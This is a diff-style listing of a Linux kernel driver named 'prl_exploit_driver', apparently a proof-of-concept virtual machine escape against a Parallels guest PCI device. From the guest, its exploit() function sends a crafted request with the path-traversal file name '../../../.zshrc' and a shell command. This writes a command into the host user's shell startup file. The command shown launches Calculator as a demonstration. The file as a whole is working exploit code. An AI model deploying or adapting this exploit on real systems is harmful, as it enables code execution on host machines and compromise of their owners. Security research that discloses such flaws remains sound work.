| 1 | + | #include <linux/module.h> |
| 2 | + | #include <linux/kernel.h> |
| 3 | + | #include <linux/pci.h> |
| 4 | + | |
| 5 | + | u16 baseport; |
| 6 | + | struct pci_dev* pcidev; |
| 7 | + | |
| 8 | + | #define TG_PORT_STATUS 0 |
| 9 | + | #define TG_PORT_SUBMIT 8 |
| 10 | + | |
| 11 | + | #define INLINE_SIZE(sz) (((sz)+7)&~7) |
| 12 | + | #define BUFFER_SIZE(sz) (((sz)+0xfff)&~0xfff) |
| 13 | + | |
| 14 | + | typedef struct _TG_PAGED_BUFFER { |
| 15 | + | u64 Va; |
| 16 | + | u32 ByteCount; |
| 17 | + | u32 Writable:1; |
| 18 | + | u32 Reserved:31; |
| 19 | + | u64 Pages[0]; |
| 20 | + | } TG_PAGED_BUFFER; |
| 21 | + | typedef struct _TG_PAGED_REQUEST { |
| 22 | + | u32 Request; |
| 23 | + | u32 Status; |
| 24 | + | u32 RequestSize; |
| 25 | + | u16 InlineByteCount; |
| 26 | + | u16 BufferCount; |
| 27 | + | u64 RequestPages[1]; |
| 28 | + | // inline bytes |
| 29 | + | // TG_PAGED_BUFFER buffers[] |
| 30 | + | } TG_PAGED_REQUEST; |
| 31 | + | |
| 32 | + | void outq(u64 val, u16 port) { |
| 33 | + | if (val>>32) |
| 34 | + | outl(val>>32, port+4); |
| 35 | + | outl(val, port); |
| 36 | + | } |
| 37 | + | |
| 38 | + | // assumes buffer addrs will be page aligned |
| 39 | + | u64 calc_size(u32 inln, u32 bufcount, u64 totbufsz) { |
| 40 | + | u64 dsize, dpages; |
| 41 | + | |
| 42 | + | totbufsz = BUFFER_SIZE(totbufsz); |
| 43 | + | dsize = sizeof(TG_PAGED_REQUEST)+INLINE_SIZE(inln); |
| 44 | + | dsize += bufcount*sizeof(TG_PAGED_BUFFER); |
| 45 | + | dsize += 8*(totbufsz>>12); |
| 46 | + | |
| 47 | + | dpages = 1; |
| 48 | + | while (1) { |
| 49 | + | u64 delta = 1+((dsize-1)>>12) - dpages; |
| 50 | + | if (!delta) |
| 51 | + | break; |
| 52 | + | dpages += delta; |
| 53 | + | dsize += delta*8; |
| 54 | + | } |
| 55 | + | return dsize; |
| 56 | + | } |
| 57 | + | |
| 58 | + | void tg_submit(u64 phys, TG_PAGED_REQUEST* req, u32 sync) { |
| 59 | + | outq(phys, baseport+TG_PORT_SUBMIT); |
| 60 | + | if (sync) |
| 61 | + | while (req->Status == -1) |
| 62 | + | yield(); |
| 63 | + | //printk(KERN_INFO "status: 0x%x\n", req->Status); |
| 64 | + | } |
| 65 | + | |
| 66 | + | // inbuf/outbuf should be kmalloc'd |
| 67 | + | void twobuf_req(u32 op, void *inln, u64 inlnsz, void* inbuf, u64 inlen, void* outbuf, u64 outlen, u32 sync) { |
| 68 | + | u64 dsize = calc_size(inlnsz, 2, BUFFER_SIZE(inlen)+BUFFER_SIZE(outlen)); |
| 69 | + | u64 dpages = (dsize+0xfff)>>12; |
| 70 | + | TG_PAGED_REQUEST* req = kzalloc(dsize, GFP_KERNEL); |
| 71 | + | TG_PAGED_BUFFER* buf = (void*)&req->RequestPages[dpages]+INLINE_SIZE(inlnsz); |
| 72 | + | u64 inphys = virt_to_phys(inbuf), outphys = virt_to_phys(outbuf), reqphys = virt_to_phys(req); |
| 73 | + | u32 i; |
| 74 | + | |
| 75 | + | if (!req) { |
| 76 | + | printk(KERN_WARNING "[x] couldnt alloc 0x%llx bytes for req\n", dsize); |
| 77 | + | return; |
| 78 | + | } |
| 79 | + | |
| 80 | + | req->Request = op; |
| 81 | + | req->Status = -1; |
| 82 | + | req->RequestSize = dsize; |
| 83 | + | req->InlineByteCount = inlnsz; |
| 84 | + | req->BufferCount = 2; |
| 85 | + | memcpy((void *)&req->RequestPages[dpages], inln, inlnsz); |
| 86 | + | |
| 87 | + | buf->Va = inphys; |
| 88 | + | buf->ByteCount = inlen; |
| 89 | + | buf->Writable = 1; |
| 90 | + | for (i = 0; i < (buf->ByteCount+0xfff)>>12; i++) |
| 91 | + | buf->Pages[i] = (inphys>>12)+i; |
| 92 | + | buf = (void*)&buf->Pages[(buf->ByteCount+0xfff)>>12]; |
| 93 | + | buf->Va = outphys; |
| 94 | + | buf->ByteCount = outlen; |
| 95 | + | buf->Writable = 1; |
| 96 | + | for (i = 0; i < (buf->ByteCount+0xfff)>>12; i++) |
| 97 | + | buf->Pages[i] = (outphys>>12)+i; |
| 98 | + | |
| 99 | + | for (i = 0; i < dpages; i++) |
| 100 | + | req->RequestPages[i] = (reqphys>>12)+i; |
| 101 | + | |
| 102 | + | tg_submit(reqphys, req, sync); |
| 103 | + | //kfree(req); |
| 104 | + | } |
| 105 | + | |
| 106 | + | void exploit(void) { |
| 107 | + | char inln[0x200]; |
| 108 | + | char *CR = kzalloc(0x1000, GFP_KERNEL); |
| 109 | + | char *pbProcName = kzalloc(0x1000, GFP_KERNEL); |
| 110 | + | |
| 111 | + | memset(inln, 0, sizeof(inln)); |
| 112 | + | *(uint32_t *)(inln + 0) = 1; |
| 113 | + | *(uint32_t *)(inln + 8) = 4; |
| 114 | + | *(uint32_t *)(inln + 0x1c) = 1; |
| 115 | + | *(uint32_t *)(inln + 0x110) = 1; |
| 116 | + | strcpy(CR, "open /System/Applications/Calculator.app\n"); |
| 117 | + | strcpy(pbProcName, "../../../.zshrc"); |
| 118 | + | |
| 119 | + | twobuf_req(0x8323, inln, 0x200, CR, strlen(CR), pbProcName, strlen(pbProcName)+1, 0); |
| 120 | + | |
| 121 | + | //kfree(CR); |
| 122 | + | //kfree(pbProcName); |
| 123 | + | } |
| 124 | + | |
| 125 | + | int tg_probe(struct pci_dev* dev, const struct pci_device_id* id) { |
| 126 | + | int ret; |
| 127 | + | pcidev = dev; |
| 128 | + | ret = pci_enable_device(dev); |
| 129 | + | if (ret) { |
| 130 | + | printk(KERN_WARNING "[x] failed to enable device: %d\n", ret); |
| 131 | + | return ret; |
| 132 | + | } |
| 133 | + | printk(KERN_INFO "[+] device enabled\n"); |
| 134 | + | ret = pci_set_dma_mask(dev, DMA_BIT_MASK(64)); |
| 135 | + | if (ret) { |
| 136 | + | printk(KERN_WARNING "[x] failed to set dma mask: %d\n", ret); |
| 137 | + | return ret; |
| 138 | + | } |
| 139 | + | ret = pci_request_region(dev, 0, "prl_exp_portio"); |
| 140 | + | if (ret) { |
| 141 | + | printk(KERN_WARNING "[x] failed to request portio region: %d\n", ret); |
| 142 | + | return ret; |
| 143 | + | } |
| 144 | + | baseport = pci_resource_start(dev, 0); |
| 145 | + | printk(KERN_INFO "baseport: 0x%hx\n", baseport); |
| 146 | + | exploit(); |
| 147 | + | return 0; |
| 148 | + | } |
| 149 | + | |
| 150 | + | void tg_remove(struct pci_dev* dev) { |
| 151 | + | pci_release_region(dev, 0); |
| 152 | + | pci_disable_device(dev); |
| 153 | + | } |
| 154 | + | |
| 155 | + | static struct pci_device_id pci_ids[] = { |
| 156 | + | {PCI_DEVICE(0x1ab8, 0x4000)}, |
| 157 | + | {0} |
| 158 | + | }; |
| 159 | + | static struct pci_driver tg_driver = { |
| 160 | + | .name = "prl_exploit_driver", |
| 161 | + | .id_table = pci_ids, |
| 162 | + | .probe = tg_probe, |
| 163 | + | .remove = tg_remove |
| 164 | + | }; |
| 165 | + | |
| 166 | + | static int __init init_tg_module(void) { |
| 167 | + | int ret; |
| 168 | + | ret = pci_register_driver(&tg_driver); |
| 169 | + | if (ret) { |
| 170 | + | printk(KERN_WARNING "[x] failed to register driver: %d\n", ret); |
| 171 | + | return ret; |
| 172 | + | } |
| 173 | + | return 0; |
| 174 | + | } |
| 175 | + | static void __exit exit_tg_module(void) { |
| 176 | + | printk(KERN_INFO "[+] unregistering driver\n"); |
| 177 | + | pci_unregister_driver(&tg_driver); |
| 178 | + | } |
| 179 | + | module_init(init_tg_module); |
| 180 | + | module_exit(exit_tg_module); |
| 181 | + | |
| 182 | + | MODULE_LICENSE("GPL"); |
| 183 | + | |